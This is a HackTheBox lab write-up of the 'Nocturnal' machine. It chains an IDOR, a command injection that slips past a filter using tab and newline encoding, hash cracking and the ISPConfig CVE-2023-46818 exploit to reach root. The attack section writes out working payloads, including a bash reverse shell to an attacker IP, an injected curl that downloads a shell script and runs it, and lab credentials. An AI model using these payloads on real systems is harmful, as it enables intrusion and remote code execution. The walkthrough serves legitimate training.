Nocturnal - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Nocturnal is an easy-difficulty Linux machine that showcases a realistic attack chain combining multiple vulnerabilities. The machine begins with discovering an IDOR vulnerability in a PHP web application’s file download functionality, allowing enumeration of other users’ uploads. Credentials extracted from an uploaded document grant admin panel access, where command injection flaws can be exploited via tab and newline character bypasses to achieve remote code execution as www-data. Further lateral movement involves extracting and cracking password hashes from a SQLite database to obtain SSH access as the tobias user. The final privilege escalation leverages CVE-2023-46818 in ISPConfig running locally to achieve root access.

TL;DR: IDOR → Credential Harvesting → Command Injection (filtering bypass) → RCE → Hash Cracking → SSH Access → ISPConfig CVE-2023-46818 → Root

Reconnaissance

Port Scanning

# Initial broad scan to identify open ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.64 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan on discovered ports
nmap -p$ports -sC -sV 10.10.11.64

Results:

Service Enumeration

The HTTP server on port 80 redirects to http://nocturnal.htb, requiring a DNS entry to be added to the /etc/hosts file:

echo "10.10.11.64 nocturnal.htb" | sudo tee -a /etc/hosts

Visiting the website reveals a login and registration interface. After registering as a new user and logging in, the application presents a /dashboard.php page with a file upload feature. The application restricts uploads to specific file types: PDF, doc, docx, xls, xlsx, and odt.

Successfully uploaded files can be downloaded via the /view.php endpoint using GET parameters:

http://nocturnal.htb/view.php?username=<username>&file=<filename>

Vulnerability Assessment

Identified Vulnerabilities:

1. IDOR (Insecure Direct Object Reference): The /view.php endpoint does not properly validate ownership of files. By manipulating the username parameter, arbitrary users’ uploaded files can be accessed.

2. Command Injection with Input Filtering: The admin panel’s backup feature accepts a password parameter that is passed to a system command, but implements a blacklist filter excluding certain characters (semicolon, pipe, ampersand, etc.). However, tabs (\t → %09) and newlines (\n → %0a) are not filtered.

3. Weak Credentials Storage: User credentials and password hashes are stored in an unencrypted SQLite database accessible via the web root.

4. CVE-2023-46818 in ISPConfig 3.2.10p1: A remote code execution vulnerability in the ISPConfig control panel that can be exploited with valid administrative credentials.

Initial Foothold

IDOR Exploitation & Credential Discovery

Begin by enumerating registered users through IDOR by fuzzing the username parameter:

ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=kavi.pdf' \
  -w /usr/share/wordlists/seclists/Usernames/Names/names.txt \
  -H 'Cookie: PHPSESSID=<your_session>' \
  -fs 2985

This reveals a user named amanda. By accessing her files via IDOR:

http://nocturnal.htb/view.php?username=amanda&file=privacy.odt

Download and examine the privacy.odt file, which contains plaintext credentials:

• Username: amanda
• Password: arHkG7HAI68X8s1J

Log in with these credentials to access the admin panel.

Command Injection via Admin Backup Feature

The admin panel contains a backup creation feature that accepts a password parameter. The application attempts to filter dangerous characters but misses tab and newline characters. Craft a multi-stage payload to bypass the filter:

First, prepare your shell payload on the attacker machine:

echo "bash -c 'bash -i >& /dev/tcp/10.10.14.77/4193 0>&1'" > shell
sudo python3 -m http.server 80

Intercept the backup request with Burp Suite and modify the password parameter to include command injection using tabs and newlines:

password=kavi%0acurl%09http://10.10.14.77/shell%09-o%09/tmp/shell&backup=

This sends: curl http://10.10.14.77/shell -o /tmp/shell (with tabs as separators).

Verify the shell payload is fetched. Then send a second request to execute it:

password=kavi%0abash%09/tmp/shell&backup=

Set up a netcat listener on the attacker machine:

nc -lvnp 4193

Receive the reverse shell as the www-data user.

Privilege Escalation

Lateral Movement: www-data to tobias

Upgrade to a full TTY shell and enumerate the web application directory:

script -q /dev/null -c bash
ls -la

Locate and access the SQLite database:

sqlite3 nocturnal_database.db
sqlite> .tables
sqlite> select * from users;

Extract the password hash for the tobias user. Crack it using hashcat:

echo -n '<hash>' > hash
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt

The password is cracked as: slowmotionapocalypse

SSH into the machine as tobias:

ssh tobias@nocturnal.htb
# Enter password: slowmotionapocalypse
cat user.txt

Privilege Escalation: tobias to root via ISPConfig CVE-2023-46818

Enumerate open ports on the local interface:

ss -tlnp

Identify port 8080 running locally on 127.0.0.1. Forward this port to the attacker machine:

ssh -L 8080:127.0.0.1:8080 -N -vv tobias@nocturnal.htb

Access http://127.0.0.1:8080 from the attacker machine. This is ISPConfig 3.2.10p1. Log in with:

• Username: admin
• Password: slowmotionapocalypse

Research the ISPConfig version number for known CVEs. CVE-2023-46818 is a remote code execution vulnerability. Clone and execute the public PoC:

git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git
cd CVE-2023-46818-python-exploit
python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse

This provides an interactive shell with root privileges:

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)
ispconfig-shell# cat /root/root.txt

Attack Chain Summary

IDOR in /view.php (enumerate users)
    ↓
Download amanda's privacy.odt (extract credentials: amanda/arHkG7HAI68X8s1J)
    ↓
Admin Panel Access
    ↓
Command Injection (bypass blacklist with %09 tabs and %0a newlines)
    ↓
RCE as www-data (reverse shell)
    ↓
SQLite Database Enumeration (extract tobias hash)
    ↓
Hash Cracking (slowmotionapocalypse)
    ↓
SSH as tobias
    ↓
Discover ISPConfig on localhost:8080
    ↓
CVE-2023-46818 Exploitation
    ↓
Root Access

Tools Used

Key Learnings

Techniques Practiced

• Identifying and exploiting IDOR vulnerabilities in web applications
• Enumerating user accounts through parameter fuzzing
• Reviewing PHP source code to understand security controls
• Bypassing input validation filters using alternative character encoding (tabs, newlines)
• Multi-stage command injection payloads
• SQLite database enumeration and hash extraction
• Password hash cracking with hashcat (MD5 hashes)
• SSH port forwarding for accessing internal services
• Exploiting known CVEs in legacy applications

Lessons Learned

1. IDOR vulnerabilities remain critical: Always validate that users can only access resources they own, not just that authentication is required.

2. Blacklist-based filtering is insufficient: Developers often miss alternative characters or encodings that achieve the same goal as filtered ones.

3. Source code review is essential: Viewing application code directly reveals the exact filtering logic and potential bypasses.

4. Defense in depth matters: Even with the initial IDOR vulnerability, the machine required multiple exploitation steps (command injection, hash cracking, CVE exploitation) before achieving root.

5. Internal services are still vulnerable: Services only accessible on localhost (ISPConfig on port 8080) should still be treated as potential attack vectors if the attacker gains initial access.

6. Credential reuse is common: The password cracked from the database was reused for multiple services (ISPConfig admin account), highlighting the danger of weak password practices.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>